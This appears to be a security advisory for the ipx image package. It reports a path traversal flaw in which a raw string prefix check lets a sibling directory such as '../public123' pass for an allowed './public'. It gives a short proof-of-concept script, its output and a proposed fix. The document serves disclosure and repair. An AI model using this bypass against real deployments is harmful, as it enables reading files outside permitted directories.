Summary

The approach used to check whether a path is within allowed directories is vulnerable to path prefix bypass when the allowed directories do not end with a path separator. This occurs because the check relies on a raw string prefix comparison.

PoC

- setup mkdir ~/public123 move a png file under ~/public123 with name test.png cd npm i ipx

- main.js js import { createIPX, ipxFSStorage } from "ipx";

const ipx = createIPX({ storage: ipxFSStorage({ dir: "./public" }), });

(async () => { { const source = await ipx("../public123/test.png"); // access file outside ./public dir because of same prefix folder const { data, format } = await source.process(); console.log(format) // print image data } { try { const source = await ipx("../publi123/test.png"); // forbidden path: the prefix is not the same const { data, format } = await source.process(); console.log(data) } catch (err) { console.log(err.message) // Forbidden path: }

}

})()

- node main.js png Forbidden path: /../publi123/test.png

Impact Path Traversal

Possible Fix

Check if the dir ends with / (path separator) and if not, add before calling startsWith